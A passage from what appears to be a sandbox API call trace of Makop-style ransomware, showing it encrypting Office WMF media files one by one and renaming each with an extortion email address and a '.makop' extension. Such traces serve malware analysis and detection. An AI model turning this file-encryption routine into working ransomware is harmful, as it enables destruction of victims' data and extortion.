ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0163.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF") returned 61 [0163.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.444] GetProcessHeap () returned 0x48a0000 [0163.444] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.444] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.445] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.448] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.448] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.449] GetProcessHeap () returned 0x48a0000 [0163.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.449] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.450] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.450] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x80f8, lpOverlapped=0x0) returned 1 [0163.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8100, dwBufLen=0x8100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8100) returned 1 [0163.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8100, lpOverlapped=0x0) returned 1 [0163.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x81d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.453] SetEndOfFile (hFile=0xf0) returned 1 [0163.460] GetProcessHeap () returned 0x48a0000 [0163.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.460] GetProcessHeap () returned 0x48a0000 [0163.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.460] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.462] CloseHandle (hObject=0xf0) returned 1 [0163.462] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0163.463] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF") returned 61 [0163.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.464] GetProcessHeap () returned 0x48a0000 [0163.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.464] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.472] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.472] GetProcessHeap () returned 0x48a0000 [0163.472] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.472] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.473] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.473] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.474] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6632, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6632, lpOverlapped=0x0) returned 1 [0163.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6640, dwBufLen=0x6640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6640) returned 1 [0163.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6640, lpOverlapped=0x0) returned 1 [0163.476] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.476] SetEndOfFile (hFile=0xf0) returned 1 [0163.483] GetProcessHeap () returned 0x48a0000 [0163.483] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.483] GetProcessHeap () returned 0x48a0000 [0163.483] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.483] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.485] CloseHandle (hObject=0xf0) returned 1 [0163.486] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0163.486] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF") returned 61 [0163.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.487] GetProcessHeap () returned 0x48a0000 [0163.487] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.487] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.491] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.492] GetProcessHeap () returned 0x48a0000 [0163.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.493] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa87e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa87e, lpOverlapped=0x0) returned 1 [0163.495] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa880, dwBufLen=0xa880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa880) returned 1 [0163.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa880, lpOverlapped=0x0) returned 1 [0163.496] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.497] SetEndOfFile (hFile=0xf0) returned 1 [0163.503] GetProcessHeap () returned 0x48a0000 [0163.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.504] GetProcessHeap () returned 0x48a0000 [0163.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.504] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.506] CloseHandle (hObject=0xf0) returned 1 [0163.506] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0163.506] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF") returned 61 [0163.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.509] GetProcessHeap () returned 0x48a0000 [0163.509] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.509] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.509] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.509] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.513] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.513] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.513] GetProcessHeap () returned 0x48a0000 [0163.513] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.513] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.513] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.514] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.514] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.515] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.515] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27ee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27ee, lpOverlapped=0x0) returned 1 [0163.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27f0, dwBufLen=0x27f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27f0) returned 1 [0163.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27f0, lpOverlapped=0x0) returned 1 [0163.518] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.518] SetEndOfFile (hFile=0xf0) returned 1 [0163.524] GetProcessHeap () returned 0x48a0000 [0163.525] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.525] GetProcessHeap () returned 0x48a0000 [0163.525] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.525] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.525] MoveFileW 